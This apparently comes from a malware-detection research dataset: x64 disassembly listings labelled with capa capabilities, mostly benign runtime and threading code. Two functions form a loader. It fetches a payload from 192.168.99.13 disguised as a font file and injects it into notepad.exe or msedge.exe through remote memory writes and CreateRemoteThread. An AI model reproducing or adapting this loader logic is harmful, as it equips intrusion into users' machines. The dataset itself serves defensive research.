joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801239f7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1801fdc38]
jne 0x18011983a
rol rcx, 0x10
test cx, 0xffff
jne 0x180119836
repz ret
ror rcx, 0x10
jmp 0x180123950
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180206140]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180206238]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1801239d5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180206140]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1801239f7
mov rax, qword [rsp + 0x88]
mov qword [0x180206238], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1802061d8], rax
mov rax, qword [0x180206238]
mov qword [0x1802060b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1802061c0], rax
mov dword [0x1802060a0], 0xc0000409
mov dword [0x1802060a4], 1
mov rax, qword [0x1801fdc38]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1801fdc40]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180206138], eax
mov ecx, 1
call fcn.18012f184
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180193590]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180206138], 0
jne 0x180123a7e
mov ecx, 1
call fcn.18012f184
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x18012d39c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1801fdc38]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18012073c
xor ebx, ebx
cmp qword [0x180206aa8], rbx
mov rdi, rax
jne 0x18012d4af
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18012d586
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18012d586
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180206aa8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180206ab0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180206ab8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180206ac8], rax
test rax, rax
je 0x18012d4a6
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180206ac0], rax
jmp 0x18012d4b6
mov rax, qword [0x180206ac0]
jmp 0x18012d4bd
mov rax, qword [0x180206ac0]
mov r11, qword [0x180206ac8]
cmp rax, rdi
je 0x18012d524
cmp r11, rdi
je 0x18012d524
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180206ac8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18012d524
test rax, rax
je 0x18012d524
call rsi
test rax, rax
je 0x18012d51e
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18012d51e
test byte [rsp + 0x40], 1
jne 0x18012d524
bts ebp, 0x15
jmp 0x18012d564
mov rcx, qword [0x180206ab0]
cmp rcx, rdi
je 0x18012d564
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18012d564
call rax
mov rbx, rax
test rax, rax
je 0x18012d564
mov rcx, qword [0x180206ab8]
cmp rcx, rdi
je 0x18012d564
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18012d564
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180206aa8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18012d586
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x18012d588
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180119820
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18013d740
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, dword [0x180207048]
test ecx, ecx
je 0x18013d775
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x18013d775
mov rax, qword [rax + 0x28]
test rax, rax
je 0x18013d775
cmp qword [rax], rbx
je 0x18013d77d
mov rax, qword [rax + 0x20]
test rax, rax
jne 0x18013d767
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov rax, qword [rax + 0x18]
add rsp, 0x20
pop rbx
ret

Function at 0x18013dab0
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x50
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rcx
lea rdx, [0x18013d720]
lea rcx, [0x180207040]
call fcn.1800628e0
mov ecx, dword [0x180207048]
test ecx, ecx
je 0x18013daea
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x18013db13
lea rcx, [rsp + 0x28]
call fcn.180119da0
mov dword [rsp + 0x40], 0
lea rax, vtable.boost::thread_resource_error.0
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x28]
call fcn.180035a40
nop
add rsp, 0x50
pop rbx
ret
Function at 0x18013db20
Capabilities:
Get thread local storage value

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rsi
mov ecx, dword [0x180207048]
test ecx, ecx
jne 0x18013db4c
xor edi, edi
jmp 0x18013db55
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, rax
mov qword [rsp + 0x40], rdi
test rdi, rdi
je 0x18013dc4e
cmp qword [rdi + 0x28], 0
jne 0x18013db77
cmp qword [rdi + 0x20], 0
je 0x18013dc46
jmp 0x18013db80
cmp qword [rdi + 0x20], 0
je 0x18013dbd6
nop
mov rsi, qword [rdi + 0x20]
mov rax, qword [rsi + 8]
mov qword [rdi + 0x20], rax
mov rcx, qword [rsi]
test rcx, rcx
je 0x18013dbbb
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rsi]
mov rax, qword [rbx]
xor edx, edx
mov rcx, rbx
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0x20], 0
jne 0x18013db80
cmp qword [rdi + 0x28], 0
je 0x18013db6a
nop dword [rax]
mov rsi, qword [rdi + 0x28]
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x28], rax
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x18013dbff
mov rax, qword [rcx]
mov rdx, qword [rsi + 0x18]
call qword [rax + 8]
mov rbx, qword [rsi + 0x10]
test rbx, rbx
je 0x18013dc26
lock dec dword [rbx + 8]
jne 0x18013dc26
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
lock dec dword [rbx + 0xc]
jne 0x18013dc26
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0x28], 0
jne 0x18013dbe0
jmp 0x18013db63
xor ecx, ecx
call fcn.18013dab0
nop
test rdi, rdi
je 0x18013dc77
lock dec dword [rdi + 8]
jne 0x18013dc77
mov rax, qword [rdi]
xor edx, edx
mov rcx, rdi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x18013dcc0
Capabilities:
Create thread
Resume thread

Disassembly:
push rdi
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rsi
mov rdi, rcx
mov r9, qword [rcx]
lea rax, [r9 + 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
lea r8, [0x18013dc90]
xor edx, edx
xor ecx, ecx
call fcn.180143324
mov rsi, rax
test rax, rax
jne 0x18013dd2d
lea rcx, [rsp + 0x38]
call fcn.180119da0
mov dword [rsp + 0x50], esi
lea rax, vtable.boost::thread_resource_error.0
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x38]
call fcn.180035a40
nop
mov rax, qword [rdi]
lock inc dword [rax + 8]
mov rbx, qword [rdi]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x18013dd4c
cmp rcx, 0xffffffffffffffff
je 0x18013dd4c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], rsi
mov rcx, qword [rdi]
mov rcx, qword [rcx + 0x10]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
jmp qword [sym.imp.KERNEL32.dll_ResumeThread]

Function at 0x18013dfa0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
movzx r12d, r9b
mov rbp, r8
mov rsi, rdx
mov rdi, rcx
mov ecx, dword [0x180207048]
test ecx, ecx
je 0x18013e035
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x18013e02f
mov rbx, qword [rax + 0x28]
test rbx, rbx
je 0x18013e02f
nop dword [rax]
cmp qword [rbx], rdi
je 0x18013e000
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x18013dff0
jmp 0x18013e02f
test r12b, r12b
je 0x18013e01d
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18013e01d
mov rdx, qword [rbx + 0x18]
test rdx, rdx
je 0x18013e01d
mov rax, qword [rcx]
call qword [rax + 8]
lea rcx, [rbx + 8]
mov rdx, rsi
call fcn.18013d8a0
mov qword [rbx + 0x18], rbp
jmp 0x18013e084
mov ecx, dword [0x180207048]
cmp qword [rsi], 0
je 0x18013e084
test rbp, rbp
je 0x18013e084
test ecx, ecx
je 0x18013e04f
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
jne 0x18013e068
call fcn.18013df70
mov ecx, dword [0x180207048]
test ecx, ecx
jne 0x18013e062
xor eax, eax
jmp 0x18013e068
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
lea rbx, [rax + 0x28]
mov r9, rbx
lea r8, [rsp + 0x70]
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.18013de90
mov qword [rbx], rax
mov rbx, qword [rsi + 8]
test rbx, rbx
je 0x18013e0ab
lock dec dword [rbx + 8]
jne 0x18013e0ab
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
lock dec dword [rbx + 0xc]
jne 0x18013e0ab
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
add rsp, 0x30
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1801423b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x80
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0xc8], rbx
mov rax, qword [0x1801fdc38]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbp, r8
mov rbx, rdx
mov rsi, rcx
cmp qword [rdx + 0x18], 8
jb 0x1801423f4
mov rcx, qword [rdx]
jmp 0x1801423f7
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r12d, eax
cmp eax, 0xffffffff
jne 0x180142418
mov r8, rbp
mov rdx, rbx
mov rcx, rsi
call fcn.180142260
jmp 0x180142537
xor r13d, r13d
bt eax, 0xa
jae 0x180142506
cmp qword [rbx + 0x18], 8
jb 0x180142431
mov rdx, qword [rbx]
jmp 0x180142434
mov rdx, rbx
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], r13
mov word [rsp + 0x50], r13w
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x50]
call fcn.180015970
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x68], 8
jb 0x1801424b5
mov rcx, qword [rsp + 0x50]
call fcn.1801196dc
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], r13
mov word [rsp + 0x50], r13w
cmp rdi, 0xffffffffffffffff
jne 0x1801424e0
mov r8, rbp
mov rdx, rbx
mov rcx, rsi
call fcn.180142260
nop
jmp 0x180142537
mov rcx, rbx
call fcn.1801418e0
test al, al
jne 0x1801424fd
mov dword [rsi], 9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180142537
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbp, rbp
je 0x180142518
mov dword [rbp], r13d
call fcn.18013ec80
mov qword [rbp + 8], rax
lea rax, [rsp + 0x40]
test r12b, 0x10
mov dword [rsp + 0x40], 3
jne 0x180142533
mov dword [rsp + 0x40], 2
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, rsi
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180119820
mov rbx, qword [rsp + 0xc8]
add rsp, 0x80
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001000
Capabilities:
Create thread
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
lea rax, str.notepad.exe
mov qword [rsp + 0x2c0], rbp
mov qword [rsp + 0x40], rax
lea r14, [rsp + 0x40]
lea rax, str.msedge.exe
xor r15d, r15d
mov qword [rsp + 0x48], rax
mov edi, r15d
nop dword [rax]
nop word [rax + rax]
mov rsi, qword [r14]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400010e7
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rcx, rbx
test eax, eax
jne 0x14000109e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400010e7
lea rdx, [rsp + 0x50]
mov ebp, r15d
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400010da
lea rdx, [rsp + 0x7c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400010d6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400010b0
jmp 0x1400010da
mov ebp, dword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
jne 0x14000112c
inc edi
add r14, 8
cmp edi, 2
jb 0x140001060
mov eax, 1
mov rbp, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001420
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
lea r8, [rsp + 0x40]
call fcn.140001210
test eax, eax
jne 0x140001141
mov eax, 2
jmp 0x1400010fb
mov r8d, ebp
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400011fa
mov esi, dword [rsp + 0x48]
mov r9d, 0x3000
mov r8d, esi
mov dword [rsp + 0x20], 0x20
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400011f1
mov r8, qword [rsp + 0x40]
mov r9d, esi
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400011f1
mov qword [rsp + 0x30], r15
mov r9, rdi
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x1400011f1
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400010fb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 3
jmp 0x1400010fb
Function at 0x140001210
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r15, r8
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_105.0.0.0_Safari_537.36
xor edi, edi
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x38], rdi
lea r9, [0x1400034b0]
mov dword [rsp + 0x30], edi
lea rdx, str.192.168.99.13
mov dword [rsp + 0x28], 3
mov rcx, rax
mov r8d, 0x50
mov qword [rsp + 0x20], r9
mov r12, rax
call qword [sym.imp.WININET.dll_InternetConnectW]
mov qword [rsp + 0x38], rdi
lea r8, str._fontawesome.woff
mov dword [rsp + 0x30], edi
lea rdx, [0x1400034e0]
mov qword [rsp + 0x28], rdi
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov r13, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov rcx, rax
xor r8d, r8d
xor edx, edx
mov rbp, rax
movzx ebx, di
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x140001311
nop
mov ecx, 0xbb8
inc bx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp bx, 3
jae 0x1400013ac
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x1400012e0
mov ecx, 0x200
call fcn.140001440
mov ecx, 0x200
mov rsi, rax
mov r14d, ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rsi
mov rcx, rbp
mov rdi, rax
xor ebx, ebx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400013ac
nop dword [rax]
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x1400013d9
lea eax, [rcx + rbx]
cmp eax, r14d
jbe 0x14000137a
add r14d, r14d
mov rcx, rdi
mov edx, r14d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov ecx, dword [rsp + 0x40]
mov rdi, rax
xor eax, eax
test ecx, ecx
je 0x140001391
movzx ecx, byte [rax + rsi]
inc eax
mov byte [rbx + rdi], cl
inc ebx
cmp eax, dword [rsp + 0x40]
jb 0x140001380
lea r9, [rsp + 0x40]
mov r8d, 0x200
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001350
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001420
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov qword [r15], rdi
mov dword [r15 + 8], ebx
jmp 0x1400013ae
Function at 0x140001d2c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d76
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d76
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.api_ms_win_crt_heap_l1_1_0.dll__set_new_mode
jne 0x140001d76
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d76
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d76
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d78
xor al, al
add rsp, 0x28
ret
Function at 0x180004bb0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rdx
mov rdx, rcx
mov rcx, rax
jmp 0x18000f190
mov rax, qword gs:[0x30]
mov r10, rcx
mov r8, qword [rax + 0x60]
mov r9, qword [r8 + 0x18]
add r9, 0x20
mov rax, qword [r9]
nop dword [rax + rax]
cmp qword [rax + 0x20], rdx
je 0x18000f1cd
test rdx, rdx
je 0x18000f1cd
mov rax, qword [rax]
cmp rax, r9
jne 0x18000f1b0
mov qword [rcx], 0
xor eax, eax
ret
mov rcx, qword [rax + 0x40]
mov qword [r10], rcx
movzx eax, word [rax + 0x38]
shr eax, 1
ret
Function at 0x180005920
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x280
movdqa xmmword [rsp + 0x2e0], xmm6
movdqa xmmword [rsp + 0x2f0], xmm7
movdqa xmmword [rsp + 0x300], xmm8
movdqa xmmword [rsp + 0x310], xmm9
movdqa xmmword [rsp + 0x320], xmm10
movdqa xmmword [rsp + 0x330], xmm11
movdqa xmmword [rsp + 0x340], xmm12
movdqa xmmword [rsp + 0x350], xmm13
movdqa xmmword [rsp + 0x360], xmm14
movdqa xmmword [rsp + 0x370], xmm15
mov eax, dword [0x180300528]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x280]
mov qword [rdx + 8], r8
call fcn.1800ec060
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x180300528]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x180005ab0
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x180005acc
cmp rcx, r8
jl 0x180005abf
mov qword [rdx + 0x80], rcx
test dword [0x1802f9e68], 1
je 0x180005afb
cmp byte [rsp + 0xd0], 0
je 0x180005afb
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x180005620
mov rsp, r8
jmp rax